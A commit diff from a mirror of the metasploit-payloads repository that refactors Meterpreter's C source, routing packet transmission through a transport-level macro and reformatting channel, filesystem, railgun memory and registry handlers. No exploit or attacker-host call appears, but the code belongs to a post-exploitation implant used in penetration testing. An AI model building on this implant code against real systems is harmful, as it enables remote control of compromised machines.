mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-14 17:37:27 +01:00
Moved transport stuff from core to metsrv
Lots of transported related things were in the core library which didn't make any sense given that the only thing that needed it was metsrv. This moves the functionality out into metsrv, reformats stuff and gets rid of some dead code. TODO: Make this work with POSIX.
This commit is contained in:
parent
969b8fb4af
commit
fe566d5f07
@ -59,7 +59,7 @@ DWORD remote_request_core_channel_open(Remote *remote, Packet *packet)
|
||||
|
||||
// Transmit the response
|
||||
dprintf( "[CHANNEL] Sending response for %s", channelType );
|
||||
res = packet_transmit(remote, response, NULL);
|
||||
res = PACKET_TRANSMIT(remote, response, NULL);
|
||||
|
||||
dprintf( "[CHANNEL] Done" );
|
||||
|
||||
@ -171,7 +171,7 @@ DWORD remote_request_core_channel_write(Remote *remote, Packet *packet)
|
||||
packet_add_tlv_uint(response, TLV_TYPE_LENGTH, written);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
|
||||
|
||||
res = packet_transmit(remote, response, NULL);
|
||||
res = PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
return res;
|
||||
@ -284,7 +284,7 @@ DWORD remote_request_core_channel_read(Remote *remote, Packet *packet)
|
||||
packet_add_tlv_uint(response, TLV_TYPE_LENGTH, bytesRead);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
|
||||
|
||||
res = packet_transmit(remote, response, NULL);
|
||||
res = PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
return res;
|
||||
@ -333,7 +333,7 @@ DWORD remote_request_core_channel_close(Remote *remote, Packet *packet)
|
||||
{
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
|
||||
|
||||
res = packet_transmit(remote, response, NULL);
|
||||
res = PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
return res;
|
||||
@ -611,7 +611,7 @@ DWORD remote_request_core_crypto_negotiate(Remote *remote, Packet *packet)
|
||||
{
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
|
||||
|
||||
packet_transmit(remote, response, NULL);
|
||||
PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
|
@ -299,7 +299,7 @@ DWORD channel_write_to_remote(Remote *remote, Channel *channel, PUCHAR chunk,
|
||||
break;
|
||||
|
||||
// Transmit the packet
|
||||
res = packet_transmit(remote, request, NULL);
|
||||
res = PACKET_TRANSMIT(remote, request, NULL);
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -465,8 +465,7 @@ DWORD _channel_packet_completion_routine(Remote *remote, Packet *packet,
|
||||
* Tries to open a channel with the remote endpoint, optionally calling the
|
||||
* supplied completion routine upon response.
|
||||
*/
|
||||
DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength,
|
||||
ChannelCompletionRoutine *completionRoutine)
|
||||
DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength, ChannelCompletionRoutine *completionRoutine)
|
||||
{
|
||||
PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
|
||||
ChannelCompletionRoutine *dupe = NULL;
|
||||
@ -478,8 +477,7 @@ DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength,
|
||||
do
|
||||
{
|
||||
// Allocate the request
|
||||
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST,
|
||||
NULL)))
|
||||
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL)))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
@ -489,10 +487,10 @@ DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength,
|
||||
packet_add_tlvs(request, addend, addendLength);
|
||||
|
||||
// If no method TLV as added, add the default one.
|
||||
if (packet_get_tlv(request, TLV_TYPE_METHOD,
|
||||
&methodTlv) != ERROR_SUCCESS)
|
||||
packet_add_tlv_string(request, TLV_TYPE_METHOD,
|
||||
method);
|
||||
if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
|
||||
{
|
||||
packet_add_tlv_string(request, TLV_TYPE_METHOD, method);
|
||||
}
|
||||
|
||||
// Initialize the packet completion routine
|
||||
if (completionRoutine)
|
||||
@ -502,11 +500,11 @@ DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength,
|
||||
|
||||
requestCompletion.context = dupe;
|
||||
requestCompletion.routine = _channel_packet_completion_routine;
|
||||
realRequestCompletion = &requestCompletion;
|
||||
realRequestCompletion = &requestCompletion;
|
||||
}
|
||||
|
||||
// Transmit the packet with the supplied completion routine, if any.
|
||||
res = packet_transmit(remote, request, realRequestCompletion);
|
||||
res = PACKET_TRANSMIT(remote, request, realRequestCompletion);
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -517,8 +515,8 @@ DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength,
|
||||
* Read data from the remote end of the channel.
|
||||
*/
|
||||
DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend,
|
||||
DWORD addendLength, ULONG length,
|
||||
ChannelCompletionRoutine *completionRoutine)
|
||||
DWORD addendLength, ULONG length,
|
||||
ChannelCompletionRoutine *completionRoutine)
|
||||
{
|
||||
PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
|
||||
ChannelCompletionRoutine *dupe = NULL;
|
||||
@ -530,8 +528,7 @@ DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend,
|
||||
do
|
||||
{
|
||||
// Allocate an empty request
|
||||
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST,
|
||||
NULL)))
|
||||
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL)))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
@ -541,16 +538,14 @@ DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend,
|
||||
packet_add_tlvs(request, addend, addendLength);
|
||||
|
||||
// If no method TLV as added, add the default one.
|
||||
if (packet_get_tlv(request, TLV_TYPE_METHOD,
|
||||
&methodTlv) != ERROR_SUCCESS)
|
||||
packet_add_tlv_string(request, TLV_TYPE_METHOD,
|
||||
method);
|
||||
if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
|
||||
{
|
||||
packet_add_tlv_string(request, TLV_TYPE_METHOD, method);
|
||||
}
|
||||
|
||||
// Add the channel identifier and the length to read
|
||||
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID,
|
||||
channel_get_id(channel));
|
||||
packet_add_tlv_uint(request, TLV_TYPE_LENGTH,
|
||||
length);
|
||||
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));
|
||||
packet_add_tlv_uint(request, TLV_TYPE_LENGTH, length);
|
||||
|
||||
// Initialize the packet completion routine
|
||||
if (completionRoutine)
|
||||
@ -560,11 +555,11 @@ DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend,
|
||||
|
||||
requestCompletion.context = dupe;
|
||||
requestCompletion.routine = _channel_packet_completion_routine;
|
||||
realRequestCompletion = &requestCompletion;
|
||||
realRequestCompletion = &requestCompletion;
|
||||
}
|
||||
|
||||
// Transmit the packet with the supplied completion routine, if any.
|
||||
res = packet_transmit(remote, request, realRequestCompletion);
|
||||
res = PACKET_TRANSMIT(remote, request, realRequestCompletion);
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -575,8 +570,8 @@ DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend,
|
||||
* Write to the remote end of the channel
|
||||
*/
|
||||
DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
|
||||
DWORD addendLength, PUCHAR buffer, ULONG length,
|
||||
ChannelCompletionRoutine *completionRoutine)
|
||||
DWORD addendLength, PUCHAR buffer, ULONG length,
|
||||
ChannelCompletionRoutine *completionRoutine)
|
||||
{
|
||||
PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
|
||||
ChannelCompletionRoutine *dupe = NULL;
|
||||
@ -599,16 +594,22 @@ DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
|
||||
|
||||
// If no method TLV as added, add the default one.
|
||||
if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
|
||||
{
|
||||
packet_add_tlv_string(request, TLV_TYPE_METHOD, method);
|
||||
}
|
||||
|
||||
// Add the channel identifier and the length to write
|
||||
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));
|
||||
|
||||
// if the channel data is ment to be compressed, compress it!
|
||||
if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) )
|
||||
packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, buffer, length);
|
||||
if (channel_is_flag(channel, CHANNEL_FLAG_COMPRESS))
|
||||
{
|
||||
packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA | TLV_META_TYPE_COMPRESSED, buffer, length);
|
||||
}
|
||||
else
|
||||
{
|
||||
packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length);
|
||||
}
|
||||
|
||||
packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel));
|
||||
|
||||
@ -620,11 +621,11 @@ DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
|
||||
|
||||
requestCompletion.context = dupe;
|
||||
requestCompletion.routine = _channel_packet_completion_routine;
|
||||
realRequestCompletion = &requestCompletion;
|
||||
realRequestCompletion = &requestCompletion;
|
||||
}
|
||||
|
||||
// Transmit the packet with the supplied completion routine, if any.
|
||||
res = packet_transmit(remote, request, realRequestCompletion);
|
||||
res = PACKET_TRANSMIT(remote, request, realRequestCompletion);
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -635,7 +636,7 @@ DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
|
||||
* Close the channel provided.
|
||||
*/
|
||||
DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend,
|
||||
DWORD addendLength, ChannelCompletionRoutine *completionRoutine)
|
||||
DWORD addendLength, ChannelCompletionRoutine *completionRoutine)
|
||||
{
|
||||
PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
|
||||
ChannelCompletionRoutine *dupe = NULL;
|
||||
@ -646,8 +647,7 @@ DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend,
|
||||
|
||||
do
|
||||
{
|
||||
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST,
|
||||
NULL)))
|
||||
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL)))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
@ -657,14 +657,13 @@ DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend,
|
||||
packet_add_tlvs(request, addend, addendLength);
|
||||
|
||||
// If no method TLV as added, add the default one.
|
||||
if (packet_get_tlv(request, TLV_TYPE_METHOD,
|
||||
&methodTlv) != ERROR_SUCCESS)
|
||||
packet_add_tlv_string(request, TLV_TYPE_METHOD,
|
||||
method);
|
||||
if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
|
||||
{
|
||||
packet_add_tlv_string(request, TLV_TYPE_METHOD, method);
|
||||
}
|
||||
|
||||
// Add the channel identifier
|
||||
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID,
|
||||
channel_get_id(channel));
|
||||
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));
|
||||
|
||||
// Initialize the packet completion routine
|
||||
if (completionRoutine)
|
||||
@ -674,13 +673,13 @@ DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend,
|
||||
|
||||
requestCompletion.context = dupe;
|
||||
requestCompletion.routine = _channel_packet_completion_routine;
|
||||
realRequestCompletion = &requestCompletion;
|
||||
realRequestCompletion = &requestCompletion;
|
||||
}
|
||||
|
||||
dprintf( "[CHANNEL] channel_close. channel=0x%08X completion=0x%.8x", channel, completionRoutine );
|
||||
|
||||
dprintf("[CHANNEL] channel_close. channel=0x%08X completion=0x%.8x", channel, completionRoutine);
|
||||
|
||||
// Transmit the packet with the supplied completion routine, if any.
|
||||
res = packet_transmit(remote, request, realRequestCompletion);
|
||||
res = PACKET_TRANSMIT(remote, request, realRequestCompletion);
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -692,8 +691,8 @@ DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend,
|
||||
* forwarded in real time rather than being polled.
|
||||
*/
|
||||
DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend,
|
||||
DWORD addendLength, BOOL enable,
|
||||
ChannelCompletionRoutine *completionRoutine)
|
||||
DWORD addendLength, BOOL enable,
|
||||
ChannelCompletionRoutine *completionRoutine)
|
||||
{
|
||||
PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL;
|
||||
ChannelCompletionRoutine *dupe = NULL;
|
||||
@ -704,8 +703,7 @@ DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend,
|
||||
|
||||
do
|
||||
{
|
||||
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST,
|
||||
NULL)))
|
||||
if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL)))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
@ -715,14 +713,13 @@ DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend,
|
||||
packet_add_tlvs(request, addend, addendLength);
|
||||
|
||||
// If no method TLV as added, add the default one.
|
||||
if (packet_get_tlv(request, TLV_TYPE_METHOD,
|
||||
&methodTlv) != ERROR_SUCCESS)
|
||||
packet_add_tlv_string(request, TLV_TYPE_METHOD,
|
||||
method);
|
||||
if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
|
||||
{
|
||||
packet_add_tlv_string(request, TLV_TYPE_METHOD, method);
|
||||
}
|
||||
|
||||
// Add the channel identifier
|
||||
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID,
|
||||
channel_get_id(channel));
|
||||
packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel));
|
||||
|
||||
// Add the enable/disable boolean
|
||||
packet_add_tlv_bool(request, TLV_TYPE_BOOL, enable);
|
||||
@ -735,11 +732,11 @@ DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend,
|
||||
|
||||
requestCompletion.context = dupe;
|
||||
requestCompletion.routine = _channel_packet_completion_routine;
|
||||
realRequestCompletion = &requestCompletion;
|
||||
realRequestCompletion = &requestCompletion;
|
||||
}
|
||||
|
||||
// Transmit the packet with the supplied completion routine, if any.
|
||||
res = packet_transmit(remote, request, realRequestCompletion);
|
||||
res = PACKET_TRANSMIT(remote, request, realRequestCompletion);
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -757,12 +754,12 @@ Channel *channel_find_by_id(DWORD id)
|
||||
{
|
||||
Channel *current;
|
||||
|
||||
for (current = channelList;
|
||||
current;
|
||||
current = current->next)
|
||||
for (current = channelList; current; current = current->next)
|
||||
{
|
||||
if (current->identifier == id)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return current;
|
||||
@ -774,7 +771,9 @@ Channel *channel_find_by_id(DWORD id)
|
||||
VOID channel_add_list_entry(Channel *channel)
|
||||
{
|
||||
if (channelList)
|
||||
{
|
||||
channelList->prev = channel;
|
||||
}
|
||||
|
||||
channel->next = channelList;
|
||||
channel->prev = NULL;
|
||||
@ -787,12 +786,18 @@ VOID channel_add_list_entry(Channel *channel)
|
||||
VOID channel_remove_list_entry(Channel *channel)
|
||||
{
|
||||
if (channel->prev)
|
||||
{
|
||||
channel->prev->next = channel->next;
|
||||
}
|
||||
else
|
||||
{
|
||||
channelList = channel->next;
|
||||
}
|
||||
|
||||
if (channel->next)
|
||||
{
|
||||
channel->next->prev = channel->prev;
|
||||
}
|
||||
}
|
||||
|
||||
/**************
|
||||
@ -828,8 +833,8 @@ DWORD channel_default_io_handler(Channel *channel, ChannelBuffer *buffer,
|
||||
* Writes arbitrary data into a buffer, optionally allocating more memory
|
||||
* as necessary.
|
||||
*/
|
||||
VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer,
|
||||
PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten)
|
||||
VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer,
|
||||
PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten)
|
||||
{
|
||||
// Is there enough storage space?
|
||||
if (buffer->currentSize + chunkLength > buffer->totalSize)
|
||||
@ -838,20 +843,23 @@ VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer,
|
||||
ULONG newSize = 0;
|
||||
|
||||
// Calculate the new buffer size
|
||||
newSize = buffer->currentSize + chunkLength;
|
||||
newSize = buffer->currentSize + chunkLength;
|
||||
newSize += CHANNEL_CHUNK_SIZE + (newSize & (CHANNEL_CHUNK_SIZE - 1));
|
||||
|
||||
// Allocate the storage for the new data
|
||||
if (buffer->totalSize)
|
||||
{
|
||||
newBuffer = (PUCHAR)realloc(buffer->buffer, newSize);
|
||||
}
|
||||
else
|
||||
{
|
||||
newBuffer = (PUCHAR)malloc(newSize);
|
||||
}
|
||||
|
||||
// Allocation failure?
|
||||
if (!newBuffer)
|
||||
{
|
||||
if (buffer->buffer)
|
||||
free(buffer->buffer);
|
||||
SAFE_FREE(buffer->buffer);
|
||||
|
||||
memset(buffer, 0, sizeof(ChannelBuffer));
|
||||
|
||||
@ -859,19 +867,20 @@ VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer,
|
||||
}
|
||||
|
||||
// Populate the buffer with the updated information
|
||||
buffer->buffer = newBuffer;
|
||||
buffer->buffer = newBuffer;
|
||||
buffer->totalSize = newSize;
|
||||
}
|
||||
|
||||
// Copy the chunk data into the buffer
|
||||
memcpy(buffer->buffer + buffer->currentSize,
|
||||
chunk, chunkLength);
|
||||
memcpy(buffer->buffer + buffer->currentSize, chunk, chunkLength);
|
||||
|
||||
// Update the current size
|
||||
buffer->currentSize += chunkLength;
|
||||
|
||||
if (bytesWritten)
|
||||
{
|
||||
*bytesWritten = chunkLength;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
@ -879,26 +888,32 @@ VOID channel_write_buffer(Channel *channel, ChannelBuffer *buffer,
|
||||
* thus removing the data from the buffer.
|
||||
*/
|
||||
VOID channel_read_buffer(Channel *channel, ChannelBuffer *buffer, PUCHAR chunk,
|
||||
ULONG chunkLength, PULONG bytesRead)
|
||||
ULONG chunkLength, PULONG bytesRead)
|
||||
{
|
||||
ULONG actualSize = chunkLength;
|
||||
|
||||
// Ensure that data is not read past the end of the buffer
|
||||
if (actualSize > buffer->currentSize)
|
||||
{
|
||||
actualSize = buffer->currentSize;
|
||||
}
|
||||
|
||||
// Copy the front portion of the buffer into the chunk
|
||||
memcpy(chunk, buffer->buffer, actualSize);
|
||||
|
||||
// Move the buffer forward if there is any left
|
||||
if (actualSize != buffer->currentSize)
|
||||
{
|
||||
memcpy(buffer->buffer, buffer->buffer + actualSize,
|
||||
buffer->currentSize - actualSize);
|
||||
buffer->currentSize - actualSize);
|
||||
}
|
||||
|
||||
// Decrement the current used size of the buffer
|
||||
buffer->currentSize -= actualSize;
|
||||
|
||||
// Pass back the number of bytes actually read
|
||||
if (bytesRead)
|
||||
{
|
||||
*bytesRead = actualSize;
|
||||
}
|
||||
}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -261,13 +261,8 @@ LINKAGE DWORD packet_get_result(Packet *packet);
|
||||
/*
|
||||
* Packet transmission
|
||||
*/
|
||||
LINKAGE DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
|
||||
LINKAGE DWORD packet_transmit_empty_response(Remote *remote, Packet *packet, DWORD res);
|
||||
LINKAGE DWORD packet_receive(Remote *remote, Packet **packet);
|
||||
LINKAGE DWORD packet_receive_via_ssl(Remote *remote, Packet **packet);
|
||||
LINKAGE DWORD packet_receive_via_http(Remote *remote, Packet **packet);
|
||||
LINKAGE DWORD packet_transmit_via_ssl(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
|
||||
LINKAGE DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketRequestCompletion *completion);
|
||||
#define PACKET_TRANSMIT(remote, packet, completion) (remote->transport->packet_transmit(remote, packet, completion))
|
||||
|
||||
/*!
|
||||
* @brief Transmit a `TLV_TYPE_RESULT` response if `response` is present.
|
||||
@ -278,7 +273,7 @@ LINKAGE DWORD packet_transmit_via_http(Remote *remote, Packet *packet, PacketReq
|
||||
#define packet_transmit_response(result, remote, response) \
|
||||
if (response) { \
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); \
|
||||
packet_transmit(remote, response, NULL); \
|
||||
PACKET_TRANSMIT(remote, response, NULL); \
|
||||
}
|
||||
|
||||
/*
|
||||
@ -291,7 +286,6 @@ LINKAGE DWORD packet_remove_completion_handler(LPCSTR requestId);
|
||||
/*
|
||||
* Core API
|
||||
*/
|
||||
LINKAGE DWORD send_core_console_write( Remote *remote, LPCSTR fmt, ... );
|
||||
LINKAGE HANDLE core_update_thread_token( Remote *remote, HANDLE token );
|
||||
LINKAGE VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName );
|
||||
|
||||
|
@ -33,7 +33,6 @@ typedef BOOL(*PTransportDeinit)(Remote* remote);
|
||||
typedef void(*PTransportDestroy)(Remote* remote);
|
||||
typedef BOOL(*PServerDispatch)(Remote* remote, THREAD* dispatchThread);
|
||||
typedef DWORD(*PPacketTransmit)(Remote* remote, Packet* packet, PacketRequestCompletion* completion);
|
||||
typedef DWORD(*PPacketReceive)(Remote* remote, Packet** packet);
|
||||
|
||||
typedef Transport*(*PTransCreateTcp)(STRTYPE url, TimeoutSettings* timeouts);
|
||||
typedef Transport*(*PTransCreateHttp)(BOOL ssl, STRTYPE url, STRTYPE ua, STRTYPE proxy,
|
||||
@ -102,7 +101,6 @@ typedef struct _Transport
|
||||
PTransportDestroy transport_destroy; ///! Destroy the transport.
|
||||
PServerDispatch server_dispatch; ///! Transport dispatch function.
|
||||
PPacketTransmit packet_transmit; ///! Transmits a packet over the transport.
|
||||
PPacketReceive packet_receive; ///! Receives a packet over the transport.
|
||||
STRTYPE url; ///! Full URL describing the comms in use.
|
||||
VOID* ctx; ///! Pointer to the type-specific transport context;
|
||||
TimeoutSettings timeouts; ///! Container for the timeout settings.
|
||||
|
@ -39,7 +39,7 @@ DWORD request_fs_ls(Remote * remote, Packet * packet)
|
||||
}
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
return packet_transmit(remote, response, NULL);
|
||||
return PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -61,7 +61,7 @@ DWORD request_fs_getwd(Remote * remote, Packet * packet)
|
||||
}
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
return packet_transmit(remote, response, NULL);
|
||||
return PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -84,7 +84,7 @@ DWORD request_fs_chdir(Remote * remote, Packet * packet)
|
||||
}
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
return packet_transmit(remote, response, NULL);
|
||||
return PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -106,7 +106,7 @@ DWORD request_fs_mkdir(Remote * remote, Packet * packet)
|
||||
}
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
return packet_transmit(remote, response, NULL);
|
||||
return PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -128,5 +128,5 @@ DWORD request_fs_delete_dir(Remote * remote, Packet * packet)
|
||||
}
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
return packet_transmit(remote, response, NULL);
|
||||
return PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
@ -211,7 +211,7 @@ DWORD request_fs_separator(Remote *remote, Packet *packet)
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, ERROR_SUCCESS);
|
||||
|
||||
return packet_transmit(remote, response, NULL);
|
||||
return PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
|
||||
@ -251,7 +251,7 @@ DWORD request_fs_stat(Remote *remote, Packet *packet)
|
||||
|
||||
out:
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
return packet_transmit(remote, response, NULL);
|
||||
return PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -274,7 +274,7 @@ DWORD request_fs_delete_file(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
return packet_transmit(remote, response, NULL);
|
||||
return PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -306,7 +306,7 @@ DWORD request_fs_file_expand_path(Remote *remote, Packet *packet)
|
||||
free(expanded);
|
||||
out:
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
return packet_transmit(remote, response, NULL);
|
||||
return PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
|
||||
@ -346,7 +346,7 @@ DWORD request_fs_md5(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
return packet_transmit(remote, response, NULL);
|
||||
return PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
|
||||
@ -384,7 +384,7 @@ DWORD request_fs_sha1(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
return packet_transmit(remote, response, NULL);
|
||||
return PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -409,6 +409,6 @@ DWORD request_fs_file_move(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
return packet_transmit(remote, response, NULL);
|
||||
return PACKET_TRANSMIT(remote, response, NULL);
|
||||
}
|
||||
|
||||
|
@ -864,7 +864,7 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket)
|
||||
if (pResponse)
|
||||
{
|
||||
packet_add_tlv_uint(pResponse, TLV_TYPE_RESULT, dwResult);
|
||||
dwResult = packet_transmit(pRemote, pResponse, NULL);
|
||||
dwResult = PACKET_TRANSMIT(pRemote, pResponse, NULL);
|
||||
}
|
||||
|
||||
wds_shutdown(&WDSInterface);
|
||||
|
@ -238,7 +238,7 @@ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx)
|
||||
packet_add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost);
|
||||
packet_add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport);
|
||||
|
||||
dwResult = packet_transmit(serverCtx->remote, request, NULL);
|
||||
dwResult = PACKET_TRANSMIT(serverCtx->remote, request, NULL);
|
||||
|
||||
} while (0);
|
||||
|
||||
|
@ -585,7 +585,7 @@ DWORD request_railgun_api( Remote * pRemote, Packet * pPacket )
|
||||
packet_add_tlv_string( pResponse, TLV_TYPE_RAILGUN_BACK_MSG, pErrorMsg );
|
||||
}
|
||||
|
||||
dwResult = packet_transmit( pRemote, pResponse, NULL );
|
||||
dwResult = PACKET_TRANSMIT( pRemote, pResponse, NULL );
|
||||
}
|
||||
|
||||
if( rInput.pBufferIN )
|
||||
@ -656,7 +656,7 @@ DWORD request_railgun_memread( Remote * pRemote, Packet * pPacket )
|
||||
if( pData )
|
||||
packet_add_tlv_raw( pResponse, TLV_TYPE_RAILGUN_MEM_DATA, pData, dwLength );
|
||||
|
||||
dwResult = packet_transmit( pRemote, pResponse, NULL );
|
||||
dwResult = PACKET_TRANSMIT( pRemote, pResponse, NULL );
|
||||
}
|
||||
|
||||
if( pData )
|
||||
@ -713,7 +713,7 @@ DWORD request_railgun_memwrite( Remote * pRemote, Packet * pPacket )
|
||||
{
|
||||
packet_add_tlv_uint( pResponse, TLV_TYPE_RESULT, dwResult );
|
||||
|
||||
dwResult = packet_transmit( pRemote, pResponse, NULL );
|
||||
dwResult = PACKET_TRANSMIT( pRemote, pResponse, NULL );
|
||||
}
|
||||
|
||||
dprintf("[RAILGUN] request_railgun_memwrite: Finished.");
|
||||
|
@ -77,7 +77,7 @@ DWORD request_registry_load_key(Remote *remote, Packet *packet)
|
||||
result = RegLoadKey(rootKey,baseKey,hiveFile);
|
||||
}
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
packet_transmit(remote, response, NULL);
|
||||
PACKET_TRANSMIT(remote, response, NULL);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
@ -98,7 +98,7 @@ DWORD request_registry_unload_key(Remote *remote, Packet *packet)
|
||||
result = RegUnLoadKey(rootKey,baseKey);
|
||||
}
|
||||
packet_add_tlv_uint(response, TLV_TYPE_RESULT, result);
|
||||
packet_transmit(remote, response, NULL);
|
||||
PACKET_TRANSMIT(remote, response, NULL);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
